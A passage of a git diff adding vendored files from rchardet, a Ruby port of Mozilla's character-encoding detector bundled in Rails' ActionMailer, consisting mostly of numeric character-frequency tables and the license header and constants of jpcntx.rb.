785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272 +3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288 +3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304 +1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320 +2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 +1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 +2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 +#Everything below is of no interest for detection purpose +2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384 +6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400 +6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416 +6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432 +6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448 +4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464 +4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480 +3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496 +3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512 +4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528 +3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544 +6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560 +4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576 +6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592 +6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608 +6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624 +6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640 +6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656 +6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672 +3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688 +3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704 +6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720 +2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736 +4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752 +4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768 +4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784 +6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800 +3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816 +4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832 +4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848 +6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864 +4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880 +6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896 +3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912 +2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928 +4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944 +2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960 +6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976 +4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992 +6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008 +6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024 +6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040 +4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056 +6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072 +2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088 +6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104 +4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120 +6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136 +4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152 +4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168 +6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184 +6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200 +6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216 +3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232 +1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248 +3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264 +3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280 +4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296 +6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312 +3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328 +6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344 +3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360 +3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376 +2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392 +6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408 +6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424 +3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440 +6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456 +3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472 +6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488 +6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504 +6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520 +4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536 +6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552 +4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568 +3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584 +3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600 +6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616 +6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632 +4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648 +6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664 +6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680 +6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696 +6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712 +6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728 +6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744 +4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760 +4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776 +3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792 +6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808 +4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824 +2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840 +6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856 +6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872 +4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888 +2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904 +4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920 +2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936 +4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952 +4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968 +4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984 +6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000 +3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016 +6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032 +3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048 +6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064 +2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080 +3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096 +7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112 +2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128 +3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144 +3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160 +3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176 +3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192 +7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208 +7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224 +7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240 +7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256 +7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272 +4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288 +3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304 +3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320 +4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336 +3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352 +3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368 +7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384 +4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400 +7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416 +7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432 +7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448 +7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464 +7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480 +4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496 +4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512 +7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528 +3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544 +4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560 +7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576 +7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592 +4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608 +3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624 +3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640 +7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656 +4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672 +4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688 +4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704 +4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720 +4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736 +4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752 +7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768 +7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784 +7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800 +7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816 +7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832 +2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848 +3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864 +7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880 +7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896 +3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912 +4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928 +3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944 +3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960 +2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976 +7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992 +7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008 +4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024 +3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040 +3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056 +7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072 +7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088 +7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104 +4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120 +7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136 +2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152 +3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168 +4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184 +7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200 +4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216 +4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232 +7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248 +7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264 +5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280 +7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296 +7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312 +7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328 +7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344 +7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360 +5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376 +5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392 +7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408 +3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424 +7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440 +7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456 +3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472 +7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488 +7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504 +1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520 +3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536 +4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552 +2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568 +3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584 +2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600 +5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616 +4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632 +4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648 +5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664 +7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680 +7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696 +7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712 +7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728 +3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744 +7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760 +3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776 +7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792 +4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808 +7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824 +7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840 +7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856 +7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872 +7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888 +7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904 +7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920 +7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936 +7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952 +7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968 +7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984 +7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000 +8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016 +8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032 +8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048 +8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064 +8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080 +8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096 +8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112 +8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128 +8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144 +8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160 +8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176 +8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192 +8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208 +8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224 +8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240 +8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256 +8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271] # 8272 +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jpcntx.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jpcntx.rb new file mode 100755 index 00000000..6f8e97c3 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/jpcntx.rb @@ -0,0 +1,229 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + NUM_OF_CATEGORY = 6 + DONT_KNOW = -1 + ENOUGH_REL_THRESHOLD = 100 + MAX_REL_THRESHOLD = 1000 + MINIMUM_DATA_THRESHOLD = 4 + + # This is hiragana 2-char sequence table, the number in each cell represents its frequency category + jp2CharContext = [ + [0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1], + [2,4,0,4,0,3,0,4,0,3,4,4,4,2,4,3,3,4,3,2,3,3,4,2,3,3,3,2,4,1,4,3,3,1,5,4,3,4,3,4,3,5,3,0,3,5,4,2,0,3,1,0,3,3,0,3,3,0,1,1,0,4,3,0,3,3,0,4,0,2,0,3,5,5,5,5,4,0,4,1,0,3,4], + [0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2], + 